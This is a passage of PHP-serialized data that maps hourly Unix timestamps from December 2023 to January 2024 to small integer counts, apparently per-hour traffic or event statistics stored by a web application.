:3;}i:1702425600;a:1:{i:0;i:2;}i:1702429200;a:1:{i:0;i:1;}i:1702432800;a:1:{i:0;i:5;}i:1702436400;a:1:{i:0;i:9;}i:1702440000;a:1:{i:0;i:15;}i:1702443600;a:1:{i:0;i:11;}i:1702447200;a:1:{i:0;i:15;}i:1702450800;a:1:{i:0;i:16;}i:1702454400;a:1:{i:0;i:10;}i:1702458000;a:1:{i:0;i:12;}i:1702461600;a:1:{i:0;i:10;}i:1702465200;a:1:{i:0;i:11;}i:1702468800;a:1:{i:0;i:8;}i:1702472400;a:1:{i:0;i:9;}i:1702476000;a:1:{i:0;i:4;}i:1702479600;a:1:{i:0;i:9;}i:1702483200;a:1:{i:0;i:3;}i:1702486800;a:1:{i:0;i:7;}i:1702490400;a:1:{i:0;i:6;}i:1702494000;a:1:{i:0;i:4;}i:1702497600;a:1:{i:0;i:12;}i:1702501200;a:1:{i:0;i:4;}i:1702504800;a:1:{i:0;i:6;}i:1702508400;a:1:{i:0;i:4;}i:1702512000;a:1:{i:0;i:11;}i:1702515600;a:1:{i:0;i:4;}i:1702519200;a:1:{i:0;i:9;}i:1702522800;a:1:{i:0;i:3;}i:1702526400;a:1:{i:0;i:13;}i:1702530000;a:1:{i:0;i:5;}i:1702533600;a:1:{i:0;i:14;}i:1702537200;a:1:{i:0;i:7;}i:1702540800;a:1:{i:0;i:14;}i:1702544400;a:1:{i:0;i:7;}i:1702548000;a:1:{i:0;i:20;}i:1702551600;a:1:{i:0;i:4;}i:1702555200;a:1:{i:0;i:3;}i:1702558800;a:1:{i:0;i:14;}i:1702562400;a:1:{i:0;i:4;}i:1702566000;a:1:{i:0;i:15;}i:1702569600;a:1:{i:0;i:4;}i:1702573200;a:1:{i:0;i:3;}i:1702576800;a:1:{i:0;i:2;}i:1702580400;a:1:{i:0;i:7;}i:1702584000;a:1:{i:0;i:5;}i:1702587600;a:1:{i:0;i:3;}i:1702591200;a:1:{i:0;i:5;}i:1702594800;a:1:{i:0;i:2;}i:1702598400;a:1:{i:0;i:3;}i:1702602000;a:1:{i:0;i:3;}i:1702605600;a:1:{i:0;i:6;}i:1702609200;a:1:{i:0;i:4;}i:1702612800;a:1:{i:0;i:8;}i:1702616400;a:1:{i:0;i:12;}i:1702620000;a:1:{i:0;i:11;}i:1702623600;a:1:{i:0;i:11;}i:1702627200;a:1:{i:0;i:5;}i:1702630800;a:1:{i:0;i:10;}i:1702634400;a:1:{i:0;i:7;}i:1702638000;a:1:{i:0;i:6;}i:1702641600;a:1:{i:0;i:3;}i:1702645200;a:1:{i:0;i:10;}i:1702648800;a:1:{i:0;i:13;}i:1702652400;a:1:{i:0;i:5;}i:1702656000;a:1:{i:0;i:8;}i:1702659600;a:1:{i:0;i:7;}i:1702663200;a:1:{i:0;i:9;}i:1702666800;a:1:{i:0;i:3;}i:1702670400;a:1:{i:0;i:3;}i:1702674000;a:1:{i:0;i:5;}i:1702677600;a:1:{i:0;i:2;}i:1702681200;a:1:{i:0;i:5;}i:1702684800;a:1:{i:0;i:6;}i:1702688400;a:1:{i:0;i:1;}i:1702692000;a:1:{i:0;i:3;}i:1702695600;a:1:{i:0;i:4;}i:1702699200;a:1:{i:0;i:8;}i:1702702800;a:1:{i:0;i:2;}i:1702706400;a:1:{i:0;i:2;}i:1702710000;a:1:{i:0;i:9;}i:1702713600;a:1:{i:0;i:6;}i:1702717200;a:1:{i:0;i:3;}i:1702720800;a:1:{i:0;i:1;}i:1702724400;a:1:{i:0;i:4;}i:1702728000;a:1:{i:0;i:1;}i:1702731600;a:1:{i:0;i:2;}i:1702735200;a:1:{i:0;i:1;}i:1702738800;a:1:{i:0;i:4;}i:1702742400;a:1:{i:0;i:3;}i:1702746000;a:1:{i:0;i:2;}i:1702749600;a:1:{i:0;i:2;}i:1702753200;a:1:{i:0;i:3;}i:1702756800;a:1:{i:0;i:1;}i:1702760400;a:1:{i:0;i:4;}i:1702764000;a:1:{i:0;i:2;}i:1702767600;a:1:{i:0;i:6;}i:1702771200;a:1:{i:0;i:3;}i:1702774800;a:1:{i:0;i:5;}i:1702778400;a:1:{i:0;i:3;}i:1702782000;a:1:{i:0;i:3;}i:1702785600;a:1:{i:0;i:6;}i:1702789200;a:1:{i:0;i:1;}i:1702792800;a:1:{i:0;i:3;}i:1702796400;a:1:{i:0;i:1;}i:1702800000;a:1:{i:0;i:3;}i:1702810800;a:1:{i:0;i:1;}i:1702814400;a:1:{i:0;i:1;}i:1702821600;a:1:{i:0;i:4;}i:1702825200;a:1:{i:0;i:4;}i:1702832400;a:1:{i:0;i:2;}i:1702836000;a:1:{i:0;i:3;}i:1702839600;a:1:{i:0;i:3;}i:1702843200;a:1:{i:0;i:1;}i:1702846800;a:1:{i:0;i:1;}i:1702850400;a:1:{i:0;i:3;}i:1702854000;a:1:{i:0;i:3;}i:1702857600;a:1:{i:0;i:3;}i:1702861200;a:1:{i:0;i:3;}i:1702868400;a:1:{i:0;i:1;}i:1702875600;a:1:{i:0;i:3;}i:1702890000;a:1:{i:0;i:3;}i:1702893600;a:1:{i:0;i:3;}i:1702897200;a:1:{i:0;i:2;}i:1702900800;a:1:{i:0;i:2;}i:1702904400;a:1:{i:0;i:5;}i:1702908000;a:1:{i:0;i:1;}i:1702911600;a:1:{i:0;i:3;}i:1702915200;a:1:{i:0;i:3;}i:1702922400;a:1:{i:0;i:1;}i:1702926000;a:1:{i:0;i:2;}i:1702929600;a:1:{i:0;i:7;}i:1702933200;a:1:{i:0;i:1;}i:1702940400;a:1:{i:0;i:2;}i:1702944000;a:1:{i:0;i:4;}i:1702951200;a:1:{i:0;i:3;}i:1702954800;a:1:{i:0;i:1;}i:1702962000;a:1:{i:0;i:1;}i:1702965600;a:1:{i:0;i:1;}i:1702969200;a:1:{i:0;i:3;}i:1702972800;a:1:{i:0;i:1;}i:1702980000;a:1:{i:0;i:1;}i:1702990800;a:1:{i:0;i:4;}i:1702994400;a:1:{i:0;i:1;}i:1703008800;a:1:{i:0;i:4;}i:1703012400;a:1:{i:0;i:1;}i:1703019600;a:1:{i:0;i:1;}i:1703030400;a:1:{i:0;i:3;}i:1703048400;a:1:{i:0;i:6;}i:1703052000;a:1:{i:0;i:6;}i:1703055600;a:1:{i:0;i:1;}i:1703062800;a:1:{i:0;i:3;}i:1703066400;a:1:{i:0;i:3;}i:1703070000;a:1:{i:0;i:2;}i:1703073600;a:1:{i:0;i:3;}i:1703077200;a:1:{i:0;i:2;}i:1703084400;a:1:{i:0;i:3;}i:1703088000;a:1:{i:0;i:6;}i:1703091600;a:1:{i:0;i:24;}i:1703095200;a:1:{i:0;i:34;}i:1703098800;a:1:{i:0;i:29;}i:1703102400;a:1:{i:0;i:29;}i:1703106000;a:1:{i:0;i:28;}i:1703109600;a:1:{i:0;i:31;}i:1703113200;a:1:{i:0;i:25;}i:1703116800;a:1:{i:0;i:26;}i:1703120400;a:1:{i:0;i:21;}i:1703124000;a:1:{i:0;i:20;}i:1703127600;a:1:{i:0;i:28;}i:1703131200;a:1:{i:0;i:29;}i:1703134800;a:1:{i:0;i:32;}i:1703138400;a:1:{i:0;i:31;}i:1703142000;a:1:{i:0;i:1;}i:1703145600;a:1:{i:0;i:4;}i:1703149200;a:1:{i:0;i:1;}i:1703160000;a:1:{i:0;i:2;}i:1703163600;a:1:{i:0;i:2;}i:1703167200;a:1:{i:0;i:4;}i:1703174400;a:1:{i:0;i:2;}i:1703178000;a:1:{i:0;i:2;}i:1703185200;a:1:{i:0;i:4;}i:1703188800;a:1:{i:0;i:1;}i:1703192400;a:1:{i:0;i:1;}i:1703196000;a:1:{i:0;i:1;}i:1703203200;a:1:{i:0;i:6;}i:1703210400;a:1:{i:0;i:2;}i:1703214000;a:1:{i:0;i:1;}i:1703217600;a:1:{i:0;i:2;}i:1703221200;a:1:{i:0;i:14;}i:1703224800;a:1:{i:0;i:10;}i:1703228400;a:1:{i:0;i:5;}i:1703232000;a:1:{i:0;i:5;}i:1703235600;a:1:{i:0;i:4;}i:1703239200;a:1:{i:0;i:6;}i:1703242800;a:1:{i:0;i:9;}i:1703246400;a:1:{i:0;i:2;}i:1703250000;a:1:{i:0;i:1;}i:1703257200;a:1:{i:0;i:3;}i:1703260800;a:1:{i:0;i:3;}i:1703264400;a:1:{i:0;i:3;}i:1703268000;a:1:{i:0;i:4;}i:1703271600;a:1:{i:0;i:2;}i:1703275200;a:1:{i:0;i:5;}i:1703278800;a:1:{i:0;i:3;}i:1703282400;a:1:{i:0;i:3;}i:1703286000;a:1:{i:0;i:2;}i:1703289600;a:1:{i:0;i:8;}i:1703293200;a:1:{i:0;i:3;}i:1703296800;a:1:{i:0;i:5;}i:1703300400;a:1:{i:0;i:1;}i:1703304000;a:1:{i:0;i:3;}i:1703307600;a:1:{i:0;i:16;}i:1703311200;a:1:{i:0;i:15;}i:1703314800;a:1:{i:0;i:21;}i:1703318400;a:1:{i:0;i:13;}i:1703322000;a:1:{i:0;i:13;}i:1703325600;a:1:{i:0;i:8;}i:1703329200;a:1:{i:0;i:1;}i:1703332800;a:1:{i:0;i:1;}i:1703336400;a:1:{i:0;i:8;}i:1703343600;a:1:{i:0;i:1;}i:1703347200;a:1:{i:0;i:17;}i:1703350800;a:1:{i:0;i:23;}i:1703354400;a:1:{i:0;i:11;}i:1703358000;a:1:{i:0;i:15;}i:1703361600;a:1:{i:0;i:16;}i:1703365200;a:1:{i:0;i:6;}i:1703368800;a:1:{i:0;i:6;}i:1703372400;a:1:{i:0;i:16;}i:1703376000;a:1:{i:0;i:12;}i:1703379600;a:1:{i:0;i:16;}i:1703383200;a:1:{i:0;i:19;}i:1703386800;a:1:{i:0;i:16;}i:1703390400;a:1:{i:0;i:4;}i:1703394000;a:1:{i:0;i:24;}i:1703397600;a:1:{i:0;i:20;}i:1703401200;a:1:{i:0;i:11;}i:1703404800;a:1:{i:0;i:31;}i:1703408400;a:1:{i:0;i:21;}i:1703412000;a:1:{i:0;i:14;}i:1703415600;a:1:{i:0;i:10;}i:1703419200;a:1:{i:0;i:10;}i:1703422800;a:1:{i:0;i:10;}i:1703426400;a:1:{i:0;i:16;}i:1703430000;a:1:{i:0;i:11;}i:1703433600;a:1:{i:0;i:13;}i:1703437200;a:1:{i:0;i:2;}i:1703440800;a:1:{i:0;i:10;}i:1703444400;a:1:{i:0;i:12;}i:1703448000;a:1:{i:0;i:18;}i:1703451600;a:1:{i:0;i:9;}i:1703455200;a:1:{i:0;i:17;}i:1703458800;a:1:{i:0;i:13;}i:1703462400;a:1:{i:0;i:7;}i:1703466000;a:1:{i:0;i:14;}i:1703469600;a:1:{i:0;i:17;}i:1703473200;a:1:{i:0;i:18;}i:1703476800;a:1:{i:0;i:23;}i:1703480400;a:1:{i:0;i:20;}i:1703484000;a:1:{i:0;i:7;}i:1703487600;a:1:{i:0;i:19;}i:1703491200;a:1:{i:0;i:27;}i:1703494800;a:1:{i:0;i:6;}i:1703498400;a:1:{i:0;i:8;}i:1703502000;a:1:{i:0;i:6;}i:1703505600;a:1:{i:0;i:7;}i:1703509200;a:1:{i:0;i:4;}i:1703512800;a:1:{i:0;i:2;}i:1703516400;a:1:{i:0;i:5;}i:1703520000;a:1:{i:0;i:3;}i:1703523600;a:1:{i:0;i:2;}i:1703527200;a:1:{i:0;i:2;}i:1703530800;a:1:{i:0;i:4;}i:1703534400;a:1:{i:0;i:4;}i:1703538000;a:1:{i:0;i:4;}i:1703541600;a:1:{i:0;i:4;}i:1703545200;a:1:{i:0;i:2;}i:1703548800;a:1:{i:0;i:3;}i:1703552400;a:1:{i:0;i:5;}i:1703556000;a:1:{i:0;i:4;}i:1703559600;a:1:{i:0;i:4;}i:1703563200;a:1:{i:0;i:4;}i:1703566800;a:1:{i:0;i:4;}i:1703570400;a:1:{i:0;i:2;}i:1703574000;a:1:{i:0;i:4;}i:1703577600;a:1:{i:0;i:3;}i:1703581200;a:1:{i:0;i:4;}i:1703584800;a:1:{i:0;i:2;}i:1703588400;a:1:{i:0;i:5;}i:1703592000;a:1:{i:0;i:3;}i:1703599200;a:1:{i:0;i:5;}i:1703602800;a:1:{i:0;i:5;}i:1703610000;a:1:{i:0;i:1;}i:1703613600;a:1:{i:0;i:2;}i:1703620800;a:1:{i:0;i:4;}i:1703624400;a:1:{i:0;i:6;}i:1703628000;a:1:{i:0;i:2;}i:1703635200;a:1:{i:0;i:2;}i:1703638800;a:1:{i:0;i:5;}i:1703642400;a:1:{i:0;i:2;}i:1703646000;a:1:{i:0;i:5;}i:1703649600;a:1:{i:0;i:6;}i:1703653200;a:1:{i:0;i:14;}i:1703656800;a:1:{i:0;i:4;}i:1703660400;a:1:{i:0;i:4;}i:1703664000;a:1:{i:0;i:2;}i:1703667600;a:1:{i:0;i:2;}i:1703671200;a:1:{i:0;i:7;}i:1703674800;a:1:{i:0;i:2;}i:1703678400;a:1:{i:0;i:1;}i:1703682000;a:1:{i:0;i:2;}i:1703685600;a:1:{i:0;i:1;}i:1703689200;a:1:{i:0;i:3;}i:1703692800;a:1:{i:0;i:7;}i:1703696400;a:1:{i:0;i:2;}i:1703700000;a:1:{i:0;i:3;}i:1703703600;a:1:{i:0;i:3;}i:1703707200;a:1:{i:0;i:3;}i:1703710800;a:1:{i:0;i:4;}i:1703714400;a:1:{i:0;i:5;}i:1703718000;a:1:{i:0;i:10;}i:1703721600;a:1:{i:0;i:1;}i:1703725200;a:1:{i:0;i:5;}i:1703728800;a:1:{i:0;i:4;}i:1703732400;a:1:{i:0;i:3;}i:1703736000;a:1:{i:0;i:6;}i:1703739600;a:1:{i:0;i:3;}i:1703743200;a:1:{i:0;i:3;}i:1703746800;a:1:{i:0;i:3;}i:1703750400;a:1:{i:0;i:3;}i:1703754000;a:1:{i:0;i:2;}i:1703757600;a:1:{i:0;i:4;}i:1703761200;a:1:{i:0;i:5;}i:1703764800;a:1:{i:0;i:2;}i:1703768400;a:1:{i:0;i:3;}i:1703772000;a:1:{i:0;i:2;}i:1703775600;a:1:{i:0;i:1;}i:1703779200;a:1:{i:0;i:5;}i:1703782800;a:1:{i:0;i:5;}i:1703786400;a:1:{i:0;i:1;}i:1703790000;a:1:{i:0;i:1;}i:1703793600;a:1:{i:0;i:2;}i:1703797200;a:1:{i:0;i:4;}i:1703800800;a:1:{i:0;i:5;}i:1703804400;a:1:{i:0;i:26;}i:1703808000;a:1:{i:0;i:23;}i:1703811600;a:1:{i:0;i:4;}i:1703815200;a:1:{i:0;i:8;}i:1703818800;a:1:{i:0;i:5;}i:1703822400;a:1:{i:0;i:8;}i:1703826000;a:1:{i:0;i:5;}i:1703829600;a:1:{i:0;i:2;}i:1703833200;a:1:{i:0;i:12;}i:1703836800;a:1:{i:0;i:4;}i:1703840400;a:1:{i:0;i:13;}i:1703844000;a:1:{i:0;i:3;}i:1703847600;a:1:{i:0;i:6;}i:1703851200;a:1:{i:0;i:14;}i:1703854800;a:1:{i:0;i:2;}i:1703858400;a:1:{i:0;i:14;}i:1703865600;a:1:{i:0;i:3;}i:1703869200;a:1:{i:0;i:4;}i:1703872800;a:1:{i:0;i:1;}i:1703876400;a:1:{i:0;i:4;}i:1703880000;a:1:{i:0;i:8;}i:1703883600;a:1:{i:0;i:2;}i:1703887200;a:1:{i:0;i:4;}i:1703890800;a:1:{i:0;i:7;}i:1703894400;a:1:{i:0;i:3;}i:1703898000;a:1:{i:0;i:10;}i:1703901600;a:1:{i:0;i:2;}i:1703905200;a:1:{i:0;i:3;}i:1703908800;a:1:{i:0;i:6;}i:1703912400;a:1:{i:0;i:2;}i:1703916000;a:1:{i:0;i:1;}i:1703919600;a:1:{i:0;i:4;}i:1703923200;a:1:{i:0;i:2;}i:1703926800;a:1:{i:0;i:1;}i:1703930400;a:1:{i:0;i:10;}i:1703934000;a:1:{i:0;i:1;}i:1703937600;a:1:{i:0;i:2;}i:1703941200;a:1:{i:0;i:1;}i:1703944800;a:1:{i:0;i:8;}i:1703948400;a:1:{i:0;i:3;}i:1703952000;a:1:{i:0;i:8;}i:1703955600;a:1:{i:0;i:2;}i:1703959200;a:1:{i:0;i:2;}i:1703962800;a:1:{i:0;i:14;}i:1703966400;a:1:{i:0;i:22;}i:1703970000;a:1:{i:0;i:2;}i:1703973600;a:1:{i:0;i:14;}i:1703977200;a:1:{i:0;i:3;}i:1703980800;a:1:{i:0;i:3;}i:1703984400;a:1:{i:0;i:6;}i:1703988000;a:1:{i:0;i:1;}i:1703991600;a:1:{i:0;i:1;}i:1703995200;a:1:{i:0;i:7;}i:1703998800;a:1:{i:0;i:7;}i:1704002400;a:1:{i:0;i:4;}i:1704006000;a:1:{i:0;i:13;}i:1704009600;a:1:{i:0;i:2;}i:1704013200;a:1:{i:0;i:5;}i:1704016800;a:1:{i:0;i:6;}i:1704024000;a:1:{i:0;i:1;}i:1704027600;a:1:{i:0;i:6;}i:1704031200;a:1:{i:0;i:4;}i:1704034800;a:1:{i:0;i:1;}i:1704038400;a:1:{i:0;i:17;}i:1704042000;a:1:{i:0;i:9;}i:1704045600;a:1:{i:0;i:4;}i:1704049200;a:1:{i:0;i:15;}i:1704052800;a:1:{i:0;i:6;}i:1704056400;a:1:{i:0;i:14;}i:1704060000;a:1:{i:0;i:12;}i:1704063600;a:1:{i:0;i:10;}i:1704067200;a:1:{i:0;i:19;}i:1704070800;a:1:{i:0;i:10;}i:1704074400;a:1:{i:0;i:5;}i:1704078000;a:1:{i:0;i:17;}i:1704081600;a:1:{i:0;i:12;}i:1704085200;a:1:{i:0;i:22;}i:1704088800;a:1:{i:0;i:10;}i:1704092400;a:1:{i:0;i:5;}i:1704096000;a:1:{i:0;i:10;}i:1704099600;a:1:{i:0;i:7;}i:1704103200;a:1:{i:0;i:7;}i:1704106800;a:1:{i:0;i:2;}i:1704110400;a:1:{i:0;i:3;}i:1704114000;a:1:{i:0;i:6;}i:1704117600;a:1:{i:0;i:1;}i:1704121200;a:1:{i:0;i:1;}i:1704124800;a:1:{i:0;i:11;}i:1704128400;a:1:{i:0;i:1;}i:1704132000;a:1:{i:0;i:7;}i:1704135600;a:1:{i:0;i:1;}i:1704139200;a:1:{i:0;i:2;}i:1704142800;a:1:{i:0;i:6;}i:1704146400;a:1:{i:0;i:2;}i:1704150000;a:1:{i:0;i:2;}i:1704153600;a:1:{i:0;i:8;}i:1704157200;a:1:{i:0;i:1;}i:1704160800;a:1:{i:0;i:1;}i:1704164400;a:1:{i:0;i:9;}i:1704168000;a:1:{i:0;i:4;}i:1704171600;a:1:{i:0;i:12;}i:1704175200;a:1:{i:0;i:3;}i:1704178800;a:1:{i:0;i:6;}i:1704182400;a:1:{i:0;i:12;}i:1704186000;a:1:{i:0;i:4;}i:1704189600;a:1:{i:0;i:10;}i:1704193200;a:1:{i:0;i:4;}i:1704196800;a:1:{i:0;i:7;}i:1704200400;a:1:{i:0;i:2;}i:1704204000;a:1:{i:0;i:2;}i:1704207600;a:1:{i:0;i:1;}i:1704211200;a:1:{i:0;i:2;}i:1704218400;a:1:{i:0;i:3;}i:1704222000;a:1:{i:0;i:10;}i:1704225600;a:1:{i:0;i:8;}i:1704229200;a:1:{i:0;i:7;}i:1704232800;a:1:{i:0;i:2;}i:1704236400;a:1:{i:0;i:3;}i:1704240000;a:1:{i:0;i:6;}i:1704243600;a:1:{i:0;i:5;}i:1704247200;a:1:{i:0;i:4;}i:1704250800;a:1:{i:0;i:1;}i:1704254400;a:1:{i:0;i:2;}i:1704258000;a:1:{i:0;i:7;}i:1704261600;a:1:{i:0;i:10;}i:1704265200;a:1:{i:0;i:5;}i:1704268800;a:1:{i:0;i:6;}i:1704272400;a:1:{i:0;i:3;}i:1704279600;a:1:{i:0;i:8;}i:1704283200;a:1:{i:0;i:3;}i:1704286800;a:1:{i:0;i:2;}i:1704294000;a:1:{i:0;i:2;}i:1704297600;a:1:{i:0;i:1;}i:1704301200;a:1:{i:0;i:4;}i:1704304800;a:1:{i:0;i:3;}i:1704308400;a:1:{i:0;i:2;}i:1704312000;a:1:{i:0;i:2;}i:1704315600;a:1:{i:0;i:2;}i:1704319200;a:1:{i:0;i:3;}i:1704322800;a:1:{i:0;i:3;}i:1704326400;a:1:{i:0;i:3;}i:1704330000;a:1:{i:0;i:5;}i:1704333600;a:1:{i:0;i:2;}i:1704337200;a:1:{i:0;i:1;}i:1704340800;a:1:{i:0;i:13;}i:1704344400;a:1:{i:0;i:16;}i:1704348000;a:1:{i:0;i:16;}i:1704351600;a:1:{i:0;i:20;}i:1704355200;a:1:{i:0;i:17;}i:1704358800;a:1:{i:0;i:18;}i:1704362400;a:1:{i:0;i:22;}i:1704366000;a:1:{i:0;i:19;}i:1704369600;a:1:{i:0;i:16;}i:1704373200;a:1:{i:0;i:10;}i:1704376800;a:1:{i:0;i:1;}i:1704380400;a:1:{i:0;i:5;}i:1704384000;a:1:{i:0;i:4;}i:1704387600;a:1:{i:0;i:4;}i:1704391200;a:1:{i:0;i:2;}i:1704394800;a:1:{i:0;i:6;}i:1704398400;a:1:{i:0;i:6;}i:1704402000;a:1:{i:0;i:4;}i:1704405600;a:1:{i:0;i:9;}i:1704409200;a:1:{i:0;i:3;}i:1704412800;a:1:{i:0;i:2;}i:1704416400;a:1:{i:0;i:6;}i:1704420000;a:1:{i:0;i:5;}i:1704423600;a:1:{i:0;i:6;}i:1704427200;a:1:{i:0;i:6;}i:1704430800;a:1:{i:0;i:12;}i:1704434400;a:1:{i:0;i:13;}i:1704438000;a:1:{i:0;i:15;}i:1704441600;a:1:{i:0;i:12;}i:1704445200;a:1:{i:0;i:15;}i:1704448800;a:1:{i:0;i:8;}i:1704452400;a:1:{i:0;i:6;}i:1704456000;a:1:{i:0;i:5;}i:1704459600;a:1:{i:0;i:7;}i:1704463200;a:1:{i:0;i:3;}i:1704466800;a:1:{i:0;i:3;}i:1704470400;a:1:{i:0;i:6;}i:1704474000;a:1:{i:0;i:5;}i:1704477600;a:1:{i:0;i:4;}i:1704481200;a:1:{i:0;i:9;}i:1704484800;a:1:{i:0;i:4;}i:1704488400;a:1:{i:0;i:5;}i:1704492000;a:1:{i:0;i:4;}i:1704495600;a:1:{i:0;i:2;}i:1704499200;a:1:{i:0;i:9;}i:1704502800;a:1:{i:0;i:4;}i:1704506400;a:1:{i:0;i:7;}i:1704510000;a:1:{i:0;i:5;}i:1704513600;a:1:{i:0;i:4;}i:1704517200;a:1:{i:0;i:4;}i:1704520800;a:1:{i:0;i:5;}i:1704524400;a:1:{i:0;i:5;}i:1704528000;a:1:{i:0;i:5;}i:1704531600;a:1:{i:0;i:5;}i:1704535200;a:1:{i:0;i:4;}i:1704538800;a:1:{i:0;i:4;}i:1704542400;a:1:{i:0;i:7;}i:1704546000;a:1:{i:0;i:2;}i:1704549600;a:1:{i:0;i:5;}i:1704553200;a:1:{i:0;i:6;}i:1704556800;a:1:{i:0;i:3;}i:1704560400;a:1:{i:0;i:3;}i:1704564000;a:1:{i:0;i:3;}i:1704567600;a:1:{i:0;i:5;}i:1704571200;a:1:{i:0;i:5;}i:1704574800;a:1:{i:0;i:7;}i:1704578400;a:1:{i:0;i:3;}i:1704582000;a:1:{i:0;i:5;}i:1704585600;a:1:{i:0;i:7;}i:1704589200;a:1:{i:0;i:7;}i:1704592800;a:1:{i:0;i:8;}i:1704596400;a:1:{i:0;i:4;}i:1704600000;a:1:{i:0;i:4;}i:1704603600;a:1:{i:0;i:5;}i:1704607200;a:1:{i:0;i:2;}i:1704610800;a:1:{i:0;i:4;}i:1704614400;a:1:{i:0;i:9;}i:1704618000;a:1:{i:0;i:6;}i:1704621600;a:1:{i:0;i:4;}i:1704625200;a:1:{i:0;i:2;}i:1704628800;a:1:{i:0;i:2;}i:1704632400;a:1:{i:0;i:6;}i:1704636000;a:1:{i:0;i:3;}i:1704646800;a:1:{i:0;i:1;}i:1704661200;a:1:{i:0;i:1;}i:1704664800;a:1:{i:0;i:3;}i:1704668400;a:1:{i:0;i:1;}i:1704672000;a:1:{i:0;i:2;}i:1704675600;a:1:{i:0;i:3;}i:1704679200;a:1:{i:0;i:1;}i:1704682800;a:1:{i:0;i:2;}i:1704686400;a:1:{i:0;i:21;}i:1704690000;a:1:{i:0;i:12;}i:1704693600;a:1:{i:0;i:4;}i:1704697200;a:1:{i:0;i:13;}i:1704700800;a:1:{i:0;i:2;}i:1704704400;a:1:{i:0;i:1;}i:1704708000;a:1:{i:0;i:4;}i:1704715200;a:1:{i:0;i:4;}i:1704718800;a:1:{i:0;i:3;}i:1704722400;a:1:{i:0;i:2;}i:1704726000;a:1:{i:0;i:5;}i:1704729600;a:1:{i:0;i:5;}i:1704733200;a:1:{i:0;i:1;}i:1704736800;a:1:{i:0;i:5;}i:1704740400;a:1:{i:0;i:4;}i:1704744000;a:1:{i:0;i:3;}i:1704747600;a:1:{i:0;i:4;}i:1704751200;a:1:{i:0;i:1;}i:1704754800;a:1:{i:0;i:3;}i:1704758400;a:1:{i:0;i:2;}i:1704762000;a:1:{i:0;i:8;}i:1704765600;a:1:{i:0;i:4;}i:1704772800;a:1:{i:0;i:9;}i:1704776400;a:1:{i:0;i:11;}i:1704780000;a:1:{i:0;i:17;}i:1704783600;a:1:{i:0;i:14;}i:1704787200;a:1:{i:0;i:8;}i:1704790800;a:1:{i:0;i:3;}i:1704794400;a:1:{i:0;i:11;}i:1704798000;a:1:{i:0;i:11;}i:1704801600;a:1:{i:0;i:8;}i:1704805200;a:1:{i:0;i:5;}i:1704808800;a:1:{i:0;i:9;}i:1704816000;a:1:{i:0;i:3;}i:1704819600;a:1:{i:0;i:2;}i:1704823200;a:1:{i:0;i:2;}i:1704826800;a:1:{i:0;i:4;}i:1704830400;a:1:{i:0;i:7;}i:1704834000;a:1:{i:0;i:2;}i:1704837600;a:1:{i:0;i:3;}i:1704841200;a:1:{i:0;i:5;}i:1704844800;a:1:{i:0;i:3;}i:1704848400;a:1:{i:0;i:3;}i:1704852000;a:1:{i:0;i:2;}i:1704855600;a:1:{i:0;i:5;}i:1704859200;a:1:{i:0;i:4;}i:1704862800;a:1:{i:0;i:6;}i:1704866400;a:1:{i:0;i:9;}i:1704870000;a:1:{i:0;i:7;}i:1704873600;a:1:{i:0;i:5;}i:1704877200;a:1:{i:0;i:4;}i:1704880800;a:1:{i:0;i:6;}i:1704884400;a:1:{i:0;i:2;}i:1704888000;a:1:{i:0;i:2;}i:1704891600;a:1:{i:0;i:6;}i:1704895200;a:1:{i:0;i:5;}i:1704898800;a:1:{i:0;i:3;}i:1704902400;a:1:{i:0;i:1;}i:1704906000;a:1:{i:0;i:2;}i:1704909600;a:1:{i:0;i:8;}i:1704913200;a:1:{i:0;i:1;}i:1704916800;a:1:{i:0;i:1;}i:1704920400;a:1:{i:0;i:3;}i:1704924000;a:1:{i:0;i:7;}i:1704927600;a:1:{i:0;i:1;}i:1704931200;a:1:{i:0;i:4;}i:1704938400;a:1:{i:0;i:6;}i:1704942000;a:1:{i:0;i:2;}i:1704945600;a:1:{i:0;i:1;}i:1704949200;a:1:{i:0;i:4;}i:1704952800;a:1:{i:0;i:3;}i:1704956400;a:1:{i:0;i:6;}i:1704960000;a:1:{i:0;i:5;}i:1704963600;a:1:{i:0;i:3;}i:1704967200;a:1:{i:0;i:5;}i:1704970800;a:1:{i:0;i:5;}i:1704974400;a:1:{i:0;i:5;}i:1704978000;a:1:{i:0;i:2;}i:1704981600;a:1:{i:0;i:3;}i:1704985200;a:1:{i:0;i:4;}i:1704988800;a:1:{i:0;i:2;}i:1704992400;a:1:{i:0;i:1;}i:1704996000;a:1:{i:0;i:3;}i:1704999600;a:1:{i:0;i:1;}i:1705003200;a:1:{i:0;i:4;}i:1705006800;a:1:{i:0;i:1;}i:1705010400;a:1:{i:0;i:3;}i:1705014000;a:1:{i:0;i:1;}i:1705017600;a:1:{i:0;i:1;}i:1705021200;a:1:{i:0;i:2;}i:1705024800;a:1:{i:0;i:3;}i:1705028400;a:1:{i:0;i:1;}i:1705032000;a:1:{i:0;i:1;}i:1705035600;a:1:{i:0;i:10;}i:1705039200;a:1:{i:0;i:2;}i:1705042800;a:1:{i:0;i:3;}i:1705046400;a:1:{i:0;i:3;}i:1705053600;a:1:{i:0;i:2;}i:1705057200;a:1:{i:0;i:1;}i:1705064400;a:1:{i:0;i:3;}i:1705068000;a:1:{i:0;i:2;}i:1705071600;a:1:{i:0;i:2;}i:1705075200;a:1:{i:0;i:3;}i:1705078800;a:1:{i:0;i:1;}i:1705082400;a:1:{i:0;i:1;}i:1705086000;a:1:{i:0;i:5;}i:1705089600;a:1:{i:0;i:2;}i:1705107600;a:1:{i:0;i:3;}i:1705111200;a:1:{i:0;i:2;}i:1705114800;a:1:{i:0;i:1;}i:1705118400;a:1:{i:0;i:1;}i:1705122000;a:1:{i:0;i:3;}i:1705125600;a:1:{i:0;i:3;}i:1705129200;a:1:{i:0;i:3;}i:1705132800;a:1:{i:0;i:4;}i:1705136400;a:1:{i:0;i:5;}i:1705140000;a:1:{i:0;i:5;}i:1705143600;a:1:{i:0;i:6;}i:1705147200;a:1:{i:0;i:3;}i:1705150800;a:1:{i:0;i:3;}i:1705154400;a:1:{i:0;i:3;}i:1705158000;a:1:{i:0;i:5;}i:1705161600;a:1:{i:0;i:4;}i:1705165200;a:1:{i:0;i:13;}i:1705168800;a:1:{i:0;i:13;}i:1705172400;a:1:{i:0;i:5;}i:1705176000;a:1:{i:0;i:6;}i:1705179600;a:1:{i:0;i:4;}i:1705183200;a:1:{i:0;i:4;}i:1705186800;a:1:{i:0;i:3;}i:1705190400;a:1:{i:0;i:1;}i:1705194000;a:1:{i:0;i:2;}i:1705197600;a:1:{i:0;i:2;}i:1705201200;a:1:{i:0;i:1;}i:1705204800;a:1:{i:0;i:3;}i:1705208400;a:1:{i:0;i:7;}i: